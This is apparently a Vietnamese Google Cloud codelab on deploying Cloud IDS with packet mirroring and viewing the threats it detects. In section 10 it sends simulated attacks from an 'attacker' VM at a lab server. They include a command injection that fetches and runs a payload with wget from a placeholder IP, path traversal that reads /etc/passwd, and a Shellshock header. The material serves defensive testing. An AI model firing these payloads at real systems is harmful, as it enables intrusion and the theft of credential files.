IDS của Cloud

1. Giới thiệu

Trong phòng thí nghiệm này, bạn sẽ triển khai Cloud IDS, một dịch vụ phát hiện xâm nhập nâng cao thế hệ mới, giúp phát hiện mối đe doạ đối với hành vi xâm nhập, phần mềm độc hại, phần mềm gián điệp cũng như các cuộc tấn công bằng lệnh và điều khiển. Bạn sẽ mô phỏng nhiều cuộc tấn công và xem thông tin chi tiết về mối đe doạ trong Cloud Console.

Kiến thức bạn sẽ học được

  • Cách tạo điểm cuối IDS của Cloud
  • Cách tạo 2 máy ảo bằng các lệnh gcloud
  • Cách tạo chính sách phản chiếu gói tin
  • Cách mô phỏng lưu lượng tấn công từ máy ảo
  • Cách xem thông tin chi tiết về mối đe doạ trong Cloud Console và Cloud Logging

Bạn cần có

  • Có kiến thức về các lệnh linux cơ bản

2. Các trường hợp sử dụng IDS của Cloud

Cloud IDS cung cấp Dịch vụ phát hiện xâm nhập thế hệ tiếp theo (IDS) của Google Cloud cho khách hàng nhằm đáp ứng các yêu cầu về tuân thủ và phát hiện mối đe doạ nâng cao, chẳng hạn như tiêu chuẩn PCI 11.4. Dịch vụ này sử dụng công nghệ bảo vệ chống lại các mối đe doạ của Palo Alto Networks nhằm cung cấp khả năng phát hiện xâm nhập nâng cao. Nhờ việc kết hợp cơ sở hạ tầng đẳng cấp thế giới của Google Cloud với công nghệ bảo mật đẳng cấp thế giới của Palo Alto Networks, khách hàng có thể tận hưởng một tổ hợp chưa từng có giữa dịch vụ phát hiện mối đe doạ nâng cao, được quản lý toàn diện, hiệu suất cao và hiệu quả bảo mật cao nhất.

Khi khách hàng di chuyển sang nền tảng đám mây, bảo mật là ưu tiên hàng đầu của họ. Công ty này muốn có các biện pháp kiểm soát bảo mật tương tự tại cơ sở hạ tầng riêng, chẳng hạn như Dịch vụ phát hiện xâm nhập (IDS) trên đám mây. Họ đặc biệt thích sử dụng giải pháp IDS được quản lý trên đám mây để dễ triển khai, đạt hiệu suất cao và tối ưu hoá chi phí so với việc triển khai giải pháp bảo mật của bên thứ ba và quản lý cơ sở hạ tầng hoặc sử dụng chữ ký của riêng họ. IDS của Google Cloud cung cấp dịch vụ IDS được quản lý toàn diện và tự động mở rộng quy mô, cho phép khách hàng dành thời gian phân tích và giảm thiểu các mối đe doạ, đồng thời giúp tiết kiệm thời gian và nguồn lực để quản lý cơ sở hạ tầng hoặc chữ ký mối đe doạ.

IDS của Cloud được triển khai ngoài phạm vi và có thể phát hiện cũng như cảnh báo về các mối đe doạ, nhưng không thể chặn các mối đe doạ. Dịch vụ này tận dụng tính năng Phản chiếu gói Google Cloud để tạo bản sao lưu lượng truy cập mạng và phân tích bằng công cụ phát hiện mối đe doạ trên Palo Alto Network.

3. Cấu trúc liên kết của lớp học lập trình

5a276f399e1d31e2.pngS

Hình 1. Thông tin tổng quan về cấu trúc cấp cao của việc triển khai IDS của Cloud cho phòng thí nghiệm này.

4. Thiết lập và yêu cầu

Thiết lập môi trường theo tiến độ riêng

  1. Đăng nhập vào Google Cloud Console rồi tạo dự án mới hoặc sử dụng lại dự án hiện có. Nếu chưa có tài khoản Gmail hoặc Google Workspace, bạn phải tạo một tài khoản.

96a9c957bc475304.pngS

b9a10ebdf5b5a448.png

a1e3c01a38fa61c2.png

  • Tên dự án là tên hiển thị của những người tham gia dự án này. Đây là một chuỗi ký tự không được API của Google sử dụng và bạn có thể cập nhật chuỗi này bất cứ lúc nào.
  • Mã dự án phải là duy nhất trong tất cả các dự án Google Cloud và không thể thay đổi (không thể thay đổi sau khi đã đặt). Cloud Console sẽ tự động tạo một chuỗi duy nhất; thường bạn không quan tâm đến sản phẩm đó là gì. Trong hầu hết các lớp học lập trình, bạn sẽ cần tham chiếu đến Mã dự án (và mã này thường được xác định là PROJECT_ID). Vì vậy, nếu không thích, bạn có thể tạo một mã ngẫu nhiên khác hoặc bạn có thể thử mã của riêng mình để xem có mã này chưa. Sau đó, video sẽ được "đóng băng" sau khi tạo dự án.
  • Có giá trị thứ ba là Project Number (Số dự án) mà một số API sử dụng. Tìm hiểu thêm về cả ba giá trị này trong tài liệu này.
  1. Tiếp theo, bạn sẽ cần bật tính năng thanh toán trong Cloud Console để sử dụng tài nguyên/API trên Cloud. Việc chạy qua lớp học lập trình này sẽ không tốn nhiều chi phí. Để tắt các tài nguyên để bạn không phải chịu thanh toán ngoài hướng dẫn này, hãy làm theo mọi thao tác "dọn dẹp" hướng dẫn ở cuối lớp học lập trình. Người dùng mới của Google Cloud đủ điều kiện tham gia chương trình Dùng thử miễn phí 300 USD.

Khởi động Cloud Shell

Mặc dù bạn có thể vận hành Google Cloud từ xa trên máy tính xách tay, nhưng trong lớp học lập trình này, bạn sẽ sử dụng Google Cloud Shell, một môi trường dòng lệnh chạy trong Đám mây.

Trong Bảng điều khiển GCP, hãy nhấp vào biểu tượng Cloud Shell ở thanh công cụ trên cùng bên phải:

bce75f34b2c53987.png

Sẽ chỉ mất một chút thời gian để cấp phép và kết nối với môi trường. Sau khi hoàn tất, bạn sẽ thấy như sau:

f6ef2b5f13479f3a.png

Máy ảo này chứa tất cả các công cụ phát triển mà bạn cần. Phiên bản này cung cấp thư mục gốc có dung lượng ổn định 5 GB và chạy trên Google Cloud, giúp nâng cao đáng kể hiệu suất và khả năng xác thực của mạng. Bạn có thể thực hiện tất cả công việc trong phòng thí nghiệm này chỉ bằng một trình duyệt.

5. Trước khi bắt đầu

Bật API

Bên trong Cloud Shell, hãy đảm bảo rằng bạn thiết lập mã dự án

gcloud config list project
gcloud config set project [YOUR-PROJECT-NAME]
export PROJECT_ID=$(gcloud config get-value project | sed '2d')

Bật tất cả dịch vụ cần thiết

gcloud services enable compute.googleapis.com
gcloud services enable ids.googleapis.com
gcloud services enable logging.googleapis.com

6. Tạo mạng VPC

Mạng VPC

Của Cloud Shell

gcloud compute networks create cloud-ids \
--subnet-mode=custom

Mạng con

Của Cloud Shell

gcloud compute networks subnets create cloud-ids-useast1 \
--range=192.168.10.0/24 \
--network=cloud-ids \
--region=us-east1

Quyền truy cập vào dịch vụ riêng tư

Của Cloud Shell

gcloud compute addresses create cloud-ids-ips \
--global \
--purpose=VPC_PEERING \
--addresses=10.10.10.0 \
--prefix-length=24 \
--description="Cloud IDS Range" \
--network=cloud-ids

Kết nối dịch vụ riêng tư

Của Cloud Shell

gcloud services vpc-peerings connect \
--service=servicenetworking.googleapis.com \
--ranges=cloud-ids-ips \
--network=cloud-ids \
--project=$PROJECT_ID

Quy tắc về tường lửa

Để cho phép IAP kết nối với các phiên bản máy ảo của bạn, hãy tạo một quy tắc tường lửa:

  • Áp dụng cho tất cả các thực thể máy ảo mà bạn muốn truy cập được bằng cách sử dụng IAP.
  • Cho phép lưu lượng truy cập vào từ dải IP 35.235.240.0/20. Dải ô này chứa tất cả địa chỉ IP mà IAP sử dụng để chuyển tiếp TCP.

Của Cloud Shell

gcloud compute firewall-rules create allow-iap-proxy \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:22 \
--source-ranges=35.235.240.0/20

Cách cho phép cổng HTTP tiêu chuẩn (TCP 80) và giao thức ICMP đến máy chủ:

  • Áp dụng cho tài nguyên có thẻ mạng "server"
  • Cho phép lưu lượng vào từ tất cả các nguồn

Của Cloud Shell

gcloud compute firewall-rules create allow-http-icmp \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:80,icmp \
--source-ranges=0.0.0.0/0 \
--target-tags=server

Tạo thực thể Cloud NAT

Bộ định tuyến đám mây

Của Cloud Shell

gcloud compute routers create cr-cloud-ids-useast1 \
--region=us-east1 \
--network=cloud-ids

NAT của đám mây

Của Cloud Shell

gcloud compute routers nats create nat-cloud-ids-useast1 \
--router=cr-cloud-ids-useast1 \
--router-region=us-east1 \
--auto-allocate-nat-external-ips \
--nat-all-subnet-ip-ranges

7. Tạo điểm cuối IDS của Cloud

Trong phần này, bạn sẽ tạo một Điểm cuối IDS của Cloud trong us-east1 với mức độ nghiêm trọng được đặt là thông tin. Quá trình tạo điểm cuối IDS mất khoảng 20 phút.

Điểm cuối IDS

Của Cloud Shell

gcloud ids endpoints create cloud-ids-east1 \
--network=cloud-ids \
--zone=us-east1-b \
--severity=INFORMATIONAL \
--async

Xác minh điểm cuối IDS của Cloud đã được khởi tạo

gcloud ids endpoints list --project=$PROJECT_ID

Đầu ra -

ID: cloud-ids-east1
LOCATION: us-east1-b
SEVERITY: INFORMATIONAL
STATE: CREATING
NETWORK: cloud-ids
TRAFFIC_LOGS:

8. Tạo 2 máy ảo

Trong phần này, bạn sẽ tạo 2 máy ảo. Đầu tiên sẽ là máy chủ web đang phản chiếu IDS của Cloud. Máy ảo thứ hai sẽ là nguồn lưu lượng tấn công của bạn.

Máy ảo 1 (Máy chủ)

Của Cloud Shell

gcloud compute instances create server \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.20 \
--metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \
--tags=server \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB

Máy ảo 2 (Khách hàng)

Của Cloud Shell

gcloud compute instances create attacker \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.10 \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB 

9. Đang chuẩn bị máy chủ

Trong nhiệm vụ này, bạn sẽ xác thực máy chủ của mình và cung cấp tải trọng phần mềm độc hại vô hại cho khách hàng.

SSH vào máy ảo thông qua Cloud Shell

gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap

Xác nhận dịch vụ web đang chạy

sudo systemctl status nginx

Đầu ra – xác minh là đang hoạt động và đang chạy

● nginx.service - A high performance web server and a reverse proxy server
   Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
   Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago
     Docs: man:nginx(8)
 Main PID: 1347 (nginx)
    Tasks: 3 (limit: 4665)
   Memory: 4.5M
   CGroup: /system.slice/nginx.service
           ├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
           ├─1348 nginx: worker process
           └─1349 nginx: worker process

May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server...
May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.

Thay đổi thư mục thành dịch vụ web

cd /var/www/html/

Tạo tệp phần mềm độc hại vô hại trên máy chủ web

sudo touch eicar.file

Dán nội dung

echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file

Quay lại CloudShell

exit

Tạo chính sách phản chiếu gói IDS của Cloud

Xác định Quy tắc chuyển tiếp điểm cuối IDS và xác nhận trạng thái của điểm cuối IDS là "READY".

gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b 

Kết quả mẫu – Sao chép giá trị từ "endpointredirectRule"

user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
createTime: '2021-07-01T21:03:56.099839751Z'
endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca
endpointIp: 172.16.30.43
name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1
network: projects/ids-project/global/networks/cloud-ids
severity: INFORMATIONAL
state: READY
updateTime: '2021-07-01T21:21:32.744309107Z'

Lưu Quy tắc chuyển tiếp điểm cuối IDS vào một biến.

export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)")
echo $FORWARDING_RULE

Chính sách về sao chép gói

Của Cloud Shell

gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \
--region=us-east1 \
--collector-ilb=$FORWARDING_RULE \
--network=cloud-ids \
--mirrored-subnets=cloud-ids-useast1

Kiểm tra để đảm bảo đã tạo chính sách phản chiếu gói dữ liệu

Của Cloud Shell

gcloud compute packet-mirrorings list

Đầu ra

user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list
NAME                        REGION       NETWORK    ENABLE
cloud-ids-packet-mirroring  us-east1     cloud-ids  TRUE

10. Mô phỏng lưu lượng truy cập tấn công

SSH vào máy ảo của kẻ tấn công (Máy khách)

Của Cloud Shell

gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap

Chạy các yêu cầu curl sau đây để mô phỏng lưu lượng truy cập độc hại.

curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical

Thoát máy ảo để quay lại CloudShell

exit

11. Xem xét các mối đe doạ do IDS của Cloud IDS phát hiện

Chuyển đến Trang tổng quan về IDS của Cloud

Trình đơn điều hướng > Bảo mật mạng > IDS của Cloud

37583419aa604aa8.pngs

Chuyển đến thẻ Mối đe doạ.

b7d934f409b4e2b.png

Như bạn có thể thấy, IDS của Cloud đã ghi lại nhiều hồ sơ lưu lượng tấn công và cung cấp thông tin chi tiết về từng mối đe doạ. Có thể bạn cần nhấp vào nút "Làm mới" nếu bạn không thấy bất kỳ mối đe doạ nào. Giờ chúng ta sẽ tìm hiểu sâu hơn một chút và xem thông tin chi tiết về các mối đe doạ.

Xác định vị trí "Lỗ hổng thực thi mã từ xa Bash" mối đe doạ và nhấp vào ba dấu chấm ở bên phải rồi chọn "Xem thông tin chi tiết về mối đe doạ"

b122b30dd8d43d9b.png

ee1b201a12db7ef7.png

Bây giờ, chúng ta sẽ xem thông tin chi tiết về sự cố này trong phần Ghi nhật ký trên đám mây. Quay lại trang Mối đe doạ bằng cách nhấp vào mũi tên chỉ sang trái .

Nhấp vào ba dấu chấm ở bên phải rồi chọn "Xem nhật ký mối đe doạ"

b122b30dd8d43d9b.png

ff0d5a0d652ddd83.png

Thông tin tương tự cũng được cung cấp cho tính năng Ghi nhật ký trên đám mây. Việc này cho phép bạn gửi nhật ký lên Cloud Storage, Chronicle hoặc bất kỳ SIEM/SOAR nào. Bạn cũng có thể tạo quy trình làm việc tuỳ chỉnh để thực hiện biện pháp khắc phục dựa trên các cảnh báo, ví dụ: tạo một chức năng đám mây kích hoạt khi có cảnh báo và tạo/cập nhật quy tắc tường lửa để chặn địa chỉ IP hoặc tạo/cập nhật chính sách Cloud Armor.

12. Các bước dọn dẹp

Thoát khỏi phiên bản máy ảo (tất cả các thẻ)

exit

Từ một thiết bị đầu cuối Cloud Shell, xoá các thành phần trong phòng thí nghiệm

gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet

gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet

gcloud compute instances delete server --zone=us-east1-b --quiet

gcloud compute instances delete attacker --zone=us-east1-b --quiet

gcloud compute firewall-rules delete allow-iap-proxy --quiet

gcloud compute firewall-rules delete allow-http-icmp --quiet

gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet

gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet

gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet

gcloud compute addresses delete cloud-ids-ips --global --quiet

gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet

gcloud compute networks delete cloud-ids --quiet

13. Xin chúc mừng!

Chúc mừng bạn đã hoàn thành lớp học lập trình.

Nội dung đã đề cập

  • Các trường hợp sử dụng IDS của Cloud
  • Yêu cầu về mạng
  • API được hỗ trợ
  • Đã tạo điểm cuối IDS của Cloud
  • Đã triển khai 2 máy ảo
  • Đã tạo ra một số "cuộc tấn công" lưu lượng truy cập từ ứng dụng
  • IDS phát hiện các mối đe doạ được xác minh
  • Xem nhật ký và thông tin chi tiết về mối đe doạ